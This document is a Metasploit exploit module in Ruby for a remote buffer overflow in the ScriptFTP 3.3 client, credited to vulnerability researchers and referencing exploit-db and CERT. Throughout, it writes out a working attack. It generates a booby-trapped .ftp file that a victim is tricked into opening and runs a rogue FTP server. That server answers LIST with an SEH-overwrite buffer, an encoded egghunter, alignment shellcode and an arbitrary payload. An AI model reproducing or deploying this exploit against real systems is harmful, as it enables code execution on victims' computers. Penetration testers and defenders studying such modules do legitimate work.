class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::FtpServer
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Egghunter

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)',
            'Description'    => %q{
                    AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow
                vulnerability that is triggered when processing a sufficiently long filename during
                a FTP LIST command resulting in overwriting the exception handler. Social engineering
                of executing a specially crafted ftp file by double click will result in connecting to
                our malcious server and perform arbitrary code execution which allows the attacker
                to gain the same rights as the user running ScriptFTP.
            },
            'License'        => MSF_LICENSE,
            'Version'        => "$Revision: 13841 $",
            'Author'         =>
                [
                    'modpr0be', #Vulnerability discovery and original exploit
                    'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
                    'mr_me <steventhomasseeley[at]gmail.com>',  # Metasploit module
                ],
            'References'     =>
                [
                    #[ 'CVE', '?' ],
                    #[ 'OSVDB', '?' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/17876/' ],
                    [ 'URL', 'http://www.kb.cert.org/vuls/id/440219' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                    'DisablePayloadHandler' => 'false',
                },
            'Payload'        =>
                {
                    'BadChars'        => "\x00\xff\x0d\x5c\x2f\x0a",
                    'EncoderType'     => Msf::Encoder::Type::AlphanumMixed,
                    'EncoderOptions'  =>
                    {
                        'BufferRegister' => 'EDI',  # Egghunter jmp edi
                    }
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # CALL DWORD PTR SS:[EBP-4]
                    # scriptftp.exe - File version=Build 3/9/2009
                    [ 'Windows XP SP3 / Windows Vista', { 'Offset' => 1746, 'Ret' => "\xd6\x41" } ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Oct 12 2011',
            'DefaultTarget'  => 0))

            register_options(
            [
                OptString.new('FILENAME',   [ true, 'The file name.',  'msf.ftp']),
            ], self.class)

    end

    def setup
        if datastore['SRVHOST'] == '0.0.0.0'
            lhost = Rex::Socket.source_address('50.50.50.50')
        else
            lhost = datastore['SRVHOST']
        end

        ftp_file = "OPENHOST('#{lhost}','ftp','ftp')\r\n"
        ftp_file << "SETPASSIVE(ENABLED)\r\n"
        ftp_file << "GETLIST($list,REMOTE_FILES)\r\n"
        ftp_file << "CLOSEHOST\r\n"

        print_status("Creating '#{datastore['FILENAME']}'...")
        file_create(ftp_file)
        super
    end


    def on_client_unknown_command(c,cmd,arg)
        c.put("200 OK\r\n")
    end

    def on_client_command_list(c,arg)

        conn = establish_data_connection(c)
        if(not conn)
            c.put("425 Can't build data connection\r\n")
            return
        end

        print_status(" - Data connection set up")
        code = 150
        c.put("#{code} Here comes the directory listing.\r\n")

        code = 226
        c.put("#{code} Directory send ok.\r\n")

        eggoptions =
        {
            :checksum => false,
            :eggtag => 'cure'
        }

        hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

        # Encode with alphamixed, then unicode mixed
        [ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
            enc = framework.encoders.create(name)
            if name =~ /unicode/
                # aligned to ESP & EAX
                enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
            else
                enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
            end
            # NOTE: we already eliminated badchars
            hunter = enc.encode(hunter, nil, nil, platform)
            if name =~/alpha/
                #insert getpc_stub & align EDX, unicode encoder friendly.
                #Hardcoded stub is not an issue here because it gets encoded anyway
                getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
                hunter = getpc_stub + hunter
            end
        }

        unicode_nop = "\x6d" # DD BYTE PTR DS:[ECX],AL

        nseh = "\x61" << unicode_nop
        seh = target.ret

        alignment = "\x54"  # PUSH ESP
        alignment << unicode_nop
        alignment << "\x58"  # POP EAX
        alignment << unicode_nop
        alignment << "\x05\x12\x11"  # ADD EAX,11001200
        alignment << unicode_nop
        alignment << "\x2d\x01\x01"  # SUB EAX,1000100
        alignment << unicode_nop
        alignment << "\x2d\x01\x10"  # SUB EAX,10000100
        alignment << unicode_nop
        alignment << "\x50"  # PUSH EAX
        alignment << unicode_nop
        alignment << "\xc3"  # RETN

        buffer = rand_text_alpha(656)
        buffer << hunter
        buffer << rand_text_alpha(target['Offset']-buffer.length)
        buffer << nseh
        buffer << seh
        buffer << alignment
        buffer << rand_text_alpha(500)
        buffer << egg

        print_status(" - Sending directory list via data connection")
        dirlist =  "-rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"
        dirlist << "   5 ftpuser  ftpusers       512 Jul 26  2001 A\r\n"
        dirlist << "rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"

        conn.put(dirlist)
        conn.close
        return
    end

end


# [2011-10-09]